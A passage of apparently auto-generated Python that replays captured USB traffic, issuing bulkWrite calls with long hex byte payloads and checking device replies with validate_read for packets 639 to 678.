b\"\\x1E\\x85\\xA9\\x37\\x77\\xFB\\xAA\\x4F\\x37\\x07\\x5C\\x46\\x9A\\x0D\\x2D\\x83\"\n b\"\\xD8\\xCE\\xD5\\x09\\xBB\\x2E\\xD7\\xA7\\x46\\x76\\x7D\\x43\")\n # Generated from packet 639/640\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 639/640\")\n # Generated from packet 641/642\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA9\\x8F\\x55\\xC6\\x8E\\x36\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF4\\xC1\\xEA\\xF2\\xD0\\x97\\xE8\\x87\"\n b\"\\xA9\\xA5\\xB1\\x76\\xFF\\xD4\\xE4\\x22\\x7D\\x34\\x26\\xBC\\x9C\\x41\\xC9\\x4B\"\n b\"\\x44\\x97\\x12\\x23\\x9E\\x27\\x31\\xFF\\xA4\\xC4\\x63\\x15\\x7E\\xAC\\xDA\\xAA\"\n b\"\\x39\\x8C\\x23\\x00\\x51\\xD4\\x1B\\x35\\x17\\x15\\xE0\\xC3\\x4A\\xFB\\x76\\x3B\"\n b\"\\xDC\\xEA\\x42\\x40\\x52\\xA1\\x0D\\xB3\\xA1\\x78\\xA3\\x74\\x48\\x01\\xEA\\x62\"\n b\"\\x0A\\xD4\\xA4\\xA5\\x7F\\x05\\xED\\xAD\\xF6\\xF6\\x81\\x50\\x5E\\xAC\\x68\\xC5\"\n b\"\\xE8\\x25\\xE4\\x2E\\x1E\\xAA\\x58\\x21\\x03\\xF2\\x70\\x37\\x98\\xC7\\x5C\\x93\"\n b\"\\xCC\\x35\\xD7\\xA7\\x10\\x1A\\xF9\\x43\\x3A\\x0D\\x08\\x2B\\x17\\x97\\xF3\\xF7\"\n b\"\\x71\\x3C\\x3D\\xCC\\x5C\\x09\\xB5\\xAA\\xA4\\xB2\\x16\\x96\\x6E\\xCD\\x98\\x4E\"\n b\"\\x54\\xF9\\x9A\\x7B\\x1D\\xC2\\x8D\\x44\\x06\\x34\\x5A\\x66\\xD9\\x2A\\xA0\\x7B\"\n b\"\\x22\\xFF\\xC3\\xE1\\x2E\\x39\\xA4\\x4E\\x6D\\xA4\\xAE\\xA8\\xC2\\xE3\\x41\\x5C\"\n b\"\\x88\\x0C\\x0B\\xDF\\x76\\x4C\\xFE\\x95\\xF7\\xE4\\x43\\x14\\xD6\\xD9\\xC6\\xE5\"\n b\"\\x66\\xD7\\x8E\\x18\\x07\\xC8\\xC7\\x80\\xA1\\xFA\\x5B\\x34\\x0D\\xE9\\x13\\x0E\"\n b\"\\xA0\\xAA\\x55\\x39\\x21\\x38\\x8A\\x1F\\x7D\\x86\\x5D\\x85\\x80\\x6F\\x4E\\x89\"\n b\"\\xCB\\xE5\\x08\\x5D\\x44\\x74\\x0F\\xC6\\x50\\xED\\xB3\\x07\\x8F\\x6E\\x70\\xF9\"\n b\"\\xBA\\x86\\x69\\x3E\\x7F\\x70\\xC4\\xA3\\xE9\\xC4\\x26\\x60\\xCD\\x3B\\xD1\\xB5\"\n b\"\\xC7\\x78\\xB7\\x4C\\xFD\\xB7\\x2C\\xC8\\x17\\x6F\\x67\\x7D\")\n # Generated from packet 643/644\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 643/644\")\n # Generated from packet 645/646\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF0\\x82\\x8D\\x38\\x66\\x0D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5C\\x43\\x85\\xB9\\x79\\x03\\x0C\\xB0\"\n b\"\\xCF\\x27\\x3A\\x4A\\x24\\x73\\xFF\\x25\\x9B\\x58\\xE9\\xEA\\x72\\x08\\x73\\x66\"\n b\"\\x85\\x5F\\xF9\\x2D\\x92\\x3F\\x0A\\xCE\\x05\\xB0\\x17\\x0F\\xBB\\x57\\xA3\\x11\"\n b\"\\xF5\\xA2\\xCC\\x9F\\x6F\\x71\\xBB\\xD3\\xDE\\xB0\\xE5\\x58\\xB9\\xC8\\xF0\\x6E\"\n b\"\\x64\\x6F\\x4E\\xC0\\xB6\\x67\\xD3\\xB2\\x57\\x83\\x7A\\x33\\xE6\\xA4\\x1C\\x05\"\n b\"\\x12\\x54\\xFE\\x68\\x61\\x7E\\xA1\\x7D\\x23\\x98\\x86\\x9D\\x15\\xF5\\xB0\\x07\"\n b\"\\x63\\x3C\\x36\\x52\\x59\\xDE\\x2E\\x4C\\x0A\\x78\\xB4\\x55\\x29\\x63\\x7F\\x24\"\n b\"\\x6D\\x3B\\xA8\\x3C\\x35\\xE3\\x1F\\x17\\x15\\x3C\\xE8\\x13\\x46\\xFD\\x34\\xE5\"\n b\"\\x2A\\xB6\\x65\\xA1\\x6C\\xBB\\x9F\\x16\\x05\\x9E\\x2D\\x15\\x53\\x46\\x45\\xF7\"\n b\"\\xB8\\xCD\\xD4\\xAF\\x66\\x25\\xDE\\x2D\\xA5\\xDC\\x42\\x5A\\x45\\x87\\x9B\\x96\"\n b\"\\xD4\\xD8\\x05\\xC6\\x91\\xE2\\x29\\xEE\\xF8\\x21\\xEA\\x8C\\x60\\xDB\\x73\\xB6\"\n b\"\\x51\\xC4\\x8D\\x72\\xD3\\x51\\x52\\x19\\xD1\\xE3\\x71\\x97\\xD1\\x94\\x1F\\x8E\"\n b\"\\x12\\x38\\x26\\x80\\x81\\x77\\xE6\\x5D\\x57\\x4F\\x3D\\xBA\\xFC\\x2C\\x4E\\x7F\"\n b\"\\x4B\\x62\\x3D\\xD9\\x4E\\x2B\\x93\\x56\\x3D\\x1E\\x24\\xBA\\x15\\xC6\\x3D\\xCA\"\n b\"\\xB8\\xB1\\xC5\\x93\\x8E\\xC6\\x5A\\x90\\x94\\x8D\\x78\\x80\\xE2\\x56\\x90\\x74\"\n b\"\\x16\\x71\\x7D\\xEE\\xD5\\x5F\\x04\\x8E\\x58\\x20\\x9E\\x5D\\xDE\\xAF\\xDB\\xB0\"\n b\"\\x63\\x09\\xD4\\xBE\\x77\\x73\\xDE\\x82\\xA3\\x98\\x9E\\x63\")\n # Generated from packet 647/648\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 647/648\")\n # Generated from packet 649/650\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xAE\\x27\\x97\\x2C\\x83\\x79\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xDE\\x11\\xBF\\x5D\\x76\\x11\\xC9\\x19\"\n b\"\\x99\\xD9\\xA4\\x2F\\xE7\\xA8\\x73\\xEE\\x67\\x1E\\xE2\\xED\\x33\\xF0\\x6A\\xE1\"\n b\"\\x08\\x75\\x9A\\xAC\\x48\\x3C\\x26\\x78\\x4E\\x53\\x68\\x0F\\x26\\x49\\x5D\\x59\"\n b\"\\xE0\\x53\\x8D\\x2A\\xAA\\x23\\xC2\\x30\\xA3\\x33\\xCC\\x59\\x72\\xC1\\x2B\\x2B\"\n b\"\\x86\\xF0\\x91\\xF2\\xF5\\xCE\\x6A\\x7E\\xC3\\x6D\\x7D\\x31\\xFC\\x7D\\xB0\\x73\"\n b\"\\x2B\\xF3\\x89\\x68\\x17\\x47\\x5C\\xB2\\xF4\\xCE\\x55\\x8A\\x7B\\x11\\x8C\\x9A\"\n b\"\\xBE\\xC1\\x60\\xCE\\xE1\\x08\\x68\\xF8\\xDC\\x17\\xC4\\x7E\\x8A\\xE9\\xC6\\xE6\"\n b\"\\x9F\\xA6\\x31\\x65\\x62\\x95\\x4E\\x29\\x6D\\x0F\\x5B\\x4A\\x0B\\x8C\\xE5\\x6D\"\n b\"\\x89\\xBD\\x01\\x5C\\x6A\\x3C\\x4D\\x29\\x98\\x37\\x85\\x5C\\x6B\\x43\\xDA\\x98\"\n b\"\\x9B\\xDF\\xEF\\x76\\xAD\\x44\\x59\\xFE\\x1C\\x4D\\x05\\x2B\\xD3\\x8D\\xCC\\x62\"\n b\"\\xC1\\xB1\\xC2\\xE9\\x3C\\x9B\\xC3\\xEA\\x2B\\x83\\x75\\xDC\\x21\\x24\\x5C\\xE5\"\n b\"\\x3E\\x77\\x37\\xA7\\xB1\\x7B\\x63\\xA9\\x1D\\x5A\\x91\\xDF\\x47\\xD2\\x1C\\x82\"\n b\"\\x0B\\x67\\xDB\\x78\\xF9\\x0A\\x53\\x05\\x06\\xA5\\xB6\\x90\\xD4\\x32\\xB5\\x44\"\n b\"\\xBF\\x7E\\x7C\\x83\\x2A\\xA1\\x39\\x37\\xD1\\x17\\x25\\x4B\\x1C\\xD8\\x6F\\x90\"\n b\"\\xAC\\x4F\\x5D\\x7D\\x55\\x50\\x24\\x5A\\x84\\xF3\\x8A\\x6F\\xB0\\x86\\xED\\xDB\"\n b\"\\xE9\\xF0\\x63\\x9B\\x16\\xF7\\xF0\\x54\\x8A\\x82\\xC1\\x00\\x58\\x8C\\xD0\\x89\"\n b\"\\x22\\x7A\\xF6\\xE0\\xCC\\x29\\xAE\\x64\\xD2\\x21\\xFA\\xBA\")\n # Generated from packet 651/652\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 651/652\")\n # Generated from packet 653/654\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x93\\x8B\\xA0\\x30\\xEF\\x75\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x76\\x8E\\x6F\\x8C\\x8A\\x73\\xBB\\xDB\"\n b\"\\xD0\\x25\\xF9\\x2A\\x24\\xE6\\xF3\\xB2\\xC0\\xF3\\x78\\x9F\\x58\\x8B\\x22\\x0D\"\n b\"\\x9D\\x00\\xBC\\xF5\\x33\\xB6\\x4D\\x87\\x4C\\xB8\\x96\\xBD\\x4B\\x34\\x96\\x93\"\n b\"\\x47\\xBD\\x1F\\x1B\\xFC\\x22\\x28\\x72\\xC4\\xB6\\x4A\\xD0\\xB7\\xDC\\x86\\xAF\"\n b\"\\x92\\xCD\\x3F\\x20\\x41\\x74\\x0A\\x37\\x06\\xED\\x97\\xCE\\xFC\\x54\\xAE\\xFC\"\n b\"\\x6B\\x92\\x3E\\x27\\x4B\\x59\\xCC\\xE0\\xA7\\xB8\\x7D\\xF6\\xE4\\x51\\xE0\\xEF\"\n b\"\\x20\\xAF\\x06\\xB6\\xEC\\x9A\\xA3\\xDC\\xFF\\xF3\\x9A\\x07\\x91\\x42\\x7B\\x67\"\n b\"\\x3F\\xA7\\xFF\\x35\\xE0\\xA7\\xE4\\x22\\x51\\x5C\\xFB\\x0E\\xB3\\x29\\xC9\\x49\"\n b\"\\x74\\x39\\x98\\x23\\xE0\\xD3\\xE8\\xA1\\x5F\\x99\\xDA\\x6E\\xD3\\xC4\\x0F\\xA6\"\n b\"\\x07\\x23\\xAE\\xBF\\x81\\x68\\xC5\\x29\\xEF\\x79\\x1E\\x63\\xD7\\x07\\xDF\\x0A\"\n b\"\\x1B\\x03\\xE9\\x75\\x39\\x5C\\x79\\x0B\\x63\\x75\\x66\\x1B\\x66\\xE3\\xD3\\x24\"\n b\"\\xE0\\xC9\\x04\\x09\\xDC\\x81\\x86\\x7D\\xB9\\xEE\\x38\\xD4\\xCC\\xA5\\x32\\x9D\"\n b\"\\xDD\\x53\\xBA\\x7F\\x47\\x95\\xCD\\xA0\\xEF\\x32\\xFD\\xD3\\xC1\\xF6\\x06\\x40\"\n b\"\\x0A\\xB2\\xB4\\xBB\\x22\\x52\\x75\\x4C\\x8B\\x81\\x71\\x32\\x28\\xBF\\x62\\x49\"\n b\"\\x4C\\xEC\\xB8\\xCC\\x70\\x67\\x76\\x1A\\x08\\xDA\\x16\\x92\\x52\\x02\\x19\\x4E\"\n b\"\\x63\\xAC\\x71\\x66\\xF0\\x82\\x51\\x5A\\x28\\xBE\\x58\\xC9\\xF5\\x42\\x67\\xA1\"\n b\"\\x45\\x29\\xB6\\x3D\\x81\\x2E\\x06\\x47\\xDE\\xF1\\x74\\x72\")\n # Generated from packet 655/656\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 655/656\")\n # Generated from packet 657/658\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x19\\x6F\\x21\\x20\\x57\\x46\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7E\\x2D\\x02\\x79\\x94\\x11\\xDD\\x0B\"\n b\"\\x09\\xF7\\x37\\xE9\\xD0\\x35\\x25\\x36\\xDF\\x1E\\x5E\\x9C\\x54\\xA4\\x10\\xF0\"\n b\"\\x30\\x91\\xB7\\xBD\\x8D\\xFB\\x64\\x24\\x14\\xA6\\xBD\\xF5\\x4E\\xB5\\xEF\\x3B\"\n b\"\\x64\\xFF\\x83\\x04\\x23\\xD3\\xFF\\xA0\\xD1\\xA4\\x44\\xF6\\xF6\\x67\\x6A\\x91\"\n b\"\\xB4\\x64\\x75\\x16\\x65\\x54\\xAA\\x60\\x76\\x73\\x28\\x1A\\xE8\\xC7\\x8D\\x6A\"\n b\"\\x94\\xFA\\xE6\\xCE\\xD5\\xF3\\x90\\xEE\\x09\\x6D\\x81\\xBF\\x67\\xC4\\x00\\xFF\"\n b\"\\x86\\x20\\x70\\x1F\\x36\\x51\\xAC\\xC7\\xCE\\xDF\\xA1\\x7E\\x1C\\x22\\x6B\\x27\"\n b\"\\x61\\x52\\x8D\\x17\\xA4\\x7E\\x81\\xF1\\x2F\\x8A\\x6F\\xF3\\x2D\\x84\\xC9\\x98\"\n b\"\\x48\\x9D\\x3C\\x80\\x7B\\x8A\\x0F\\x24\\x17\\x60\\x9D\\xCC\\x78\\x88\\x36\\x40\"\n b\"\\x8A\\x44\\x49\\x1E\\xAA\\xB4\\xCE\\x9F\\xCC\\xEB\\xFF\\xAA\\x5A\\x99\\xB9\\x9E\"\n b\"\\x7D\\x12\\x3A\\x45\\xFE\\xD8\\x14\\x72\\x0B\\x79\\x99\\x6A\\x0D\\x79\\xF1\\xFF\"\n b\"\\x30\\x63\\x75\\x9D\\xB8\\xD5\\xC6\\xD0\\x6D\\x4E\\x02\\xCB\\xCE\\xBB\\xA5\\x32\"\n b\"\\xC8\\x78\\xAE\\x51\\x80\\xBE\\xC7\\xD0\\xF5\\xD8\\x9F\\xB8\\x4E\\x4D\\x1B\\x59\"\n b\"\\xB2\\xF2\\x50\\x26\\xE3\\xC8\\x2D\\x9F\\xE2\\xFF\\x22\\x9B\\xEC\\x87\\xA9\\x11\"\n b\"\\xC0\\x03\\x5A\\x58\\xC9\\xE9\\x81\\x08\\x5F\\x49\\xC0\\x9D\\xE6\\x53\\xFC\\x65\"\n b\"\\xC6\\x19\\x91\\xD5\\x76\\x8A\\xE3\\x90\\xB2\\xE1\\x09\\xF3\\x6C\\xC2\\x97\\x59\"\n b\"\\xC4\\xDE\\x5D\\xBC\\x3F\\xCF\\x1E\\xAB\\x65\\x25\\x31\\x29\")\n # Generated from packet 659/660\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 659/660\")\n # Generated from packet 661/662\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE0\\x5E\\xFB\\xCA\\x49\\x2C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xAC\\x26\\x46\\x59\\x30\\x76\\x11\\x8C\"\n b\"\\xA7\\x0D\\x75\\x6A\\xB5\\x1B\\xC7\\xA7\\x6B\\x7B\\x0D\\xD6\\x40\\xEB\\x29\\x7F\"\n b\"\\xD0\\x98\\xF3\\x92\\x8C\\xE3\\x52\\xBB\\x3D\\x8A\\x08\\xAC\\x8A\\x96\\x21\\x2C\"\n b\"\\x4B\\x7A\\x02\\x7C\\xD8\\xB6\\x0F\\x0F\\x8A\\xE6\\x3A\\x56\\x88\\xB9\\xA5\\x10\"\n b\"\\x2C\\x5A\\xB5\\x0F\\xFA\\x35\\x87\\xE1\\x5F\\xB6\\x2A\\x07\\x3D\\x8C\\xDF\\xF5\"\n b\"\\xD7\\xEF\\x68\\xAB\\x8D\\xF8\\xEF\\x3B\\xB7\\xF4\\x53\\x54\\x99\\x80\\x6A\\x29\"\n b\"\\xC2\\x61\\x95\\x18\\xB2\\xBA\\x2A\\xF9\\x3A\\x46\\xBA\\xB5\\x23\\x19\\xAA\\x66\"\n b\"\\xB3\\x1A\\xAB\\x1A\\x2B\\x8E\\x5A\\xD3\\x63\\x1F\\x8C\\xAE\\xFB\\x42\\x9E\\x27\"\n b\"\\x57\\xD8\\x96\\x39\\xEC\\x41\\x09\\x95\\xA0\\x1D\\x96\\x78\\xF3\\x38\\x74\\x4E\"\n b\"\\xAD\\x3E\\x2E\\x94\\x17\\xAE\\x7B\\x79\\x7B\\x7C\\x9D\\x49\\xB6\\x50\\xDC\\x43\"\n b\"\\x51\\xF8\\xF0\\x4D\\x1D\\x71\\x14\\x2C\\x4C\\xE7\\xB3\\xA2\\x9A\\x6F\\x90\\xDA\"\n b\"\\x27\\x97\\xCF\\x9A\\xA6\\x3A\\xBD\\x28\\x15\\xA0\\xD6\\xA0\\x8A\\x01\\x13\\x2B\"\n b\"\\xD8\\xB1\\x54\\x98\\x6F\\x74\\x16\\x08\\x1D\\xCC\\xB3\\xCD\\x2D\\x97\\xDD\\xA9\"\n b\"\\xCA\\x34\\x99\\x6E\\x11\\x49\\xC5\\x57\\x97\\xCE\\x98\\x67\\x6B\\x9D\\x0B\\x64\"\n b\"\\x30\\x92\\x4A\\x4D\\xC1\\x6D\\x11\\x30\\xC5\\x75\\xCE\\xF1\\x9E\\x20\\x1A\\x60\"\n b\"\\xC0\\xE3\\x3F\\xC4\\xBF\\x8B\\x1B\\x5F\\xB4\\xA7\\x12\\x6E\\x92\\x2F\\x74\\xBF\"\n b\"\\x59\\x3A\\xE7\\x97\\x39\\x1B\\xF9\\x3D\\x23\\x47\\xDC\\x10\")\n # Generated from packet 663/664\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 663/664\")\n # Generated from packet 665/666\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x86\\xB0\\x62\\xC4\\x61\\x3C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB8\\xA3\\x02\\x79\\x3F\\x86\\xF4\\x74\"\n b\"\\xCF\\x10\\xEA\\xF7\\xAB\\x49\\x11\\x5A\\xDB\\x78\\x7E\\x5F\\x2A\\x09\\x30\\x4A\"\n b\"\\xDA\\xB4\\x2A\\x07\\x28\\xEC\\x0D\\xB3\\x0C\\xF3\\xB7\\xC9\\xD8\\xB6\\x82\\x84\"\n b\"\\x31\\x87\\x63\\x3E\\x72\\xE5\\xBD\\xFA\\x1A\\xD5\\x97\\xBF\\x3E\\xE8\\xA9\\x51\"\n b\"\\x6D\\xAD\\x35\\x0A\\x93\\x12\\x37\\x90\\x14\\x7D\\x90\\xCB\\x6E\\x64\\x95\\xAA\"\n b\"\\x74\\x8D\\xA7\\x16\\x08\\x20\\xB6\\x03\\xFA\\xF7\\x80\\xB6\\x05\\x39\\xE9\\xE5\"\n b\"\\xDD\\x4F\\x96\\x78\\xE6\\x94\\xE0\\x2E\\x28\\x3A\\xE3\\xE6\\xAA\\x2E\\x23\\x9D\"\n b\"\\xBC\\x42\\x9D\\x57\\xD3\\x31\\x1C\\x01\\x4F\\x41\\x16\\x2A\\xD3\\x89\\x14\\x84\"\n b\"\\xE2\\xF3\\x08\\xF0\\x6D\\x4D\\x2D\\xED\\xF9\\x6F\\xBF\\x22\\xFE\\x8E\\xA7\\xEC\"\n b\"\\x43\\x13\\x59\\x50\\x57\\xB9\\x01\\x7A\\x50\\x49\\x2B\\x83\\xAA\\x34\\x7B\\xD4\"\n b\"\\xE8\\x0D\\x32\\x65\\xF5\\x89\\xCB\\xE7\\x12\\x80\\x9B\\xA8\\x9D\\xFA\\xB0\\x5F\"\n b\"\\x5D\\x9B\\xF8\\x63\\xD6\\x1E\\x86\\x92\\x9F\\x34\\x79\\x16\\x3B\\x01\\x70\\x0A\"\n b\"\\x62\\x6F\\x8B\\x65\\xFE\\xBB\\xFA\\x10\\xFC\\xA7\\x08\\x22\\x4C\\xB1\\xA2\\xC9\"\n b\"\\x04\\xDA\\x58\\xCE\\xFA\\x31\\x3C\\xC3\\x2C\\x9A\\x96\\x9F\\xE8\\xB1\\x89\\xDD\"\n b\"\\xD6\\x40\\x8D\\x2D\\x6B\\x36\\xDC\\x98\\x9D\\x1A\\xD2\\xF9\\x20\\xA1\\xFE\\x21\"\n b\"\\x36\\x75\\x9C\\xCC\\xE3\\x1C\\x36\\xBC\\x9E\\x3E\\x7D\\x07\\xB1\\x31\\x50\\xCE\"\n b\"\\xC3\\xAD\\x9F\\x1C\\x0B\\xDD\\x43\\xA5\\x70\\xDD\\xAC\\x91\")\n # Generated from packet 667/668\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 667/668\")\n # Generated from packet 669/670\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x8F\\x08\\x6D\\x25\\xFF\\x2F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB2\\x63\\xC7\\x57\\xD7\\xAA\\x46\\x0E\"\n b\"\\x37\\xEE\\x81\\x1E\\xCE\\xD3\\x5C\\x14\\xA3\\x26\\xC6\\x22\\x7C\\x90\\x9E\\xDD\"\n b\"\\x3E\\x65\\x4F\\x0E\\xF9\\x24\\x82\\x48\\x67\\x9F\\x81\\x89\\x66\\x86\\x00\\xFE\"\n b\"\\x5B\\xA0\\x2C\\x47\\xED\\xF0\\x29\\x97\\x0B\\x0F\\xC8\\x9C\\x0F\\xFC\\xE9\\x4A\"\n b\"\\x1C\\x95\\x25\\xD4\\x08\\xCB\\x3C\\x57\\xD3\\xD9\\xCD\\x9C\\x65\\x6D\\xD8\\xA8\"\n b\"\\x03\\x3B\\x1D\\xAD\\x85\\x24\\x1F\\x7A\\x75\\x28\\x0A\\x44\\x73\\x1E\\xAC\\x0A\"\n b\"\\xEA\\x72\\x3C\\x8B\\x89\\x71\\xAB\\xCF\\x31\\xF8\\xE0\\x55\\xA8\\x83\\x64\\x2A\"\n b\"\\xBB\\x93\\x16\\xEE\\x7C\\xCE\\x29\\x8A\\x13\\x79\\x1A\\x23\\x15\\x16\\xF0\\xDD\"\n b\"\\x8B\\xB1\\x95\\x61\\xB5\\x4D\\x2F\\xBB\\x7B\\xA5\\x50\\x86\\xAC\\x9B\\xB5\\xEA\"\n b\"\\x16\\xDC\\x87\\x0E\\x0F\\x28\\xAD\\x03\\x20\\xD3\\xCD\\x9A\\xC1\\x8A\\x47\\xDD\"\n b\"\\x3E\\x0A\\x01\\x53\\x1F\\x46\\x30\\x7B\\x3F\\x70\\xFB\\x6E\\x50\\x51\\x77\\x46\"\n b\"\\xDF\\xBE\\x09\\x53\\xB9\\x58\\xEA\\xA8\\xB5\\x90\\x4C\\x1E\\x88\\xEA\\x78\\x1C\"\n b\"\\xC6\\xBA\\xF3\\xDC\\x23\\x4E\\x65\\x33\\x93\\x59\\xE3\\xF3\\xF2\\x31\\x5F\\xF9\"\n b\"\\x33\\x73\\x9B\\x3F\\x81\\xBA\\x88\\x2C\\x68\\xA9\\x99\\xC0\\x25\\xE2\\xEF\\x2C\"\n b\"\\x39\\xE9\\xD1\\xCD\\x78\\x99\\xC3\\x42\\x06\\xF6\\xBC\\x03\\xD1\\x79\\x79\\x86\"\n b\"\\x60\\x14\\x58\\xBB\\x40\\x96\\x3B\\x26\\x1D\\xA2\\xCF\\x6E\\x64\\x3D\\xD2\\x34\"\n b\"\\x8F\\xD0\\x41\\xC4\\x85\\x5E\\xD5\\x04\\x87\\xD6\\x62\\xCF\")\n # Generated from packet 671/672\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 671/672\")\n # Generated from packet 673/674\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xEC\\x82\\x64\\xC8\\x69\\x6C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC3\\x2B\\x45\\xEF\\xA2\\x11\\x7F\\x5A\"\n b\"\\x68\\xA9\\xA5\\xD0\\x24\\x6C\\xBD\\x8C\\x41\\xE7\\x04\\x47\\xC0\\x84\\x76\\xDD\"\n b\"\\xFA\\x56\\x64\\x44\\x89\\x71\\xE0\\xE4\\x2E\\x54\\xA1\\x3F\\x47\\x11\\x49\\x76\"\n b\"\\xE5\\xAA\\x90\\x3C\\xBE\\xBC\\x69\\x73\\x6F\\x34\\x8F\\x53\\x42\\xDA\\x10\\x3A\"\n b\"\\x22\\xC8\\x61\\x9F\\x0C\\x82\\x8E\\xFD\\x9D\\x19\\x7C\\xF0\\x52\\xFC\\x91\\xC5\"\n b\"\\x70\\xE9\\x5C\\x1F\\x3D\\xAD\\xE2\\x8E\\xC3\\x71\\x1A\\x43\\x17\\xD2\\x93\\x9F\"\n b\"\\x53\\xF6\\x94\\xDF\\xA9\\x54\\x43\\x0A\\x98\\x4F\\x22\\x55\\x98\\x33\\x16\\x51\"\n b\"\\x0D\\x28\\xAF\\xC0\\x03\\xC5\\x64\\xC3\\xBA\\xD6\\x75\\x99\\xAC\\x29\\x2C\\xC8\"\n b\"\\xF3\\xE2\\x9D\\x13\\xC5\\x4D\\xA5\\x36\\xD4\\x81\\xAC\\x45\\xF2\\xE4\\xC7\\xD6\"\n b\"\\xE3\\xCF\\x89\\xFC\\x3A\\x0B\\x86\\x18\\xB3\\xD8\\x56\\x46\\xEB\\x3B\\x24\\xA7\"\n b\"\\x4F\\x02\\x22\\x99\\xF4\\xD5\\xA9\\x71\\x4A\\xF0\\x53\\xC6\\x0E\\x0C\\x81\\x0A\"\n b\"\\x5F\\x5A\\x9A\\xD1\\x5C\\xAB\\xBA\\xAE\\xA9\\x36\\x49\\x63\\x41\\x8D\\x34\\x24\"\n b\"\\xA2\\xF0\\x97\\x5E\\xFD\\xA5\\x83\\xB9\\x0D\\x79\\x63\\xF3\\xBB\\x3F\\xDC\\x5B\"\n b\"\\x82\\xC8\\xA0\\xC5\\xCF\\xEE\\x06\\x48\\x97\\x1A\\xC3\\xD3\\x65\\x4D\\xF7\\x03\"\n b\"\\x89\\x6A\\x0C\\xD9\\xC5\\x46\\x5D\\xB4\\xCB\\x1F\\x26\\xA2\\xA0\\x57\\x43\\x7B\"\n b\"\\xB7\\x4E\\x00\\x8D\\x9C\\xF5\\x7E\\x1F\\xEE\\x07\\x85\\x61\\xE2\\xD0\\x42\\xD1\"\n b\"\\x64\\x00\\xC1\\x29\\xEF\\x8F\\xF1\\x55\\x80\\xC1\\xE8\\xC0\")\n # Generated from packet 675/676\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 675/676\")\n # Generated from packet 677/678\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x2E\\x2F\\x39\\xEB\\x8F\\x28\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x26\\x87\\xEF\\x93\\x16\\x24\\x71\\x05\"\n b\"\\xE6\\xC8\\xE6\\xB4\\x63\\x3C\\x0F\\xBB\\x8C\\x04\\x3F\\x9A\\xE6\\x4B\\xA9\\x1D\"\n b\"\\x15\\xFE\\x3C\\xF4\\x86\\x4A\\x19\\xE6\\x7F\\x5B\\xD2\\x2A\\x4D\\x44\\xE3\\x88\"\n b\"\\x87\\xA9\\x00\\x0E\\x86\\x3D\\xE1\\x8C\\xEC\\x10\\x0E\\x97\\xBA\\x1C\\x74\\x5A\"\n b\"\\x1B\\xAB\\x10\\xF8\\x23\\xC2\\x39\\xA8\\xBB\\x63\\x07\\x2D\\x52\\x8A\\xF6\\x8C\"\n b\"\\x5D\\x61\\x09\\x1A\\xB2\\xA9\\x5F\\x46\\xE7\\xAF\\x1D\\x2C\\xAC\\xCE\\x3A\\xB4\"\n b\"\\x01\\x48\\x20\\xD7\\x89\\x31\\x65\\x62\\x4E\\xC7\\xD8\\xF2\\x61\\xDF\\x1A\\x72\"\n b\"\\x55\\x87\\x8F\\xBF\\x50\\x6D\\x56\\x3D\\x27\\xA5\\xB7\\xA4\\xA0\\x26\\x84\\x36\"\n b\"\\xB7\\x39\\x19\\x23\\x50\\xA3\\x2A\\xED\\x10\\x1A\\x89\\xE6\\x25\\xB5\\x64\\xB1\"\n b\"\\xE7\\x46\\x23\\x56\\xB5\\x69\\x84\\xCA\\x84\\x9C\\x9D\\xA0\\x65\\x46\\x02\\x51\"\n 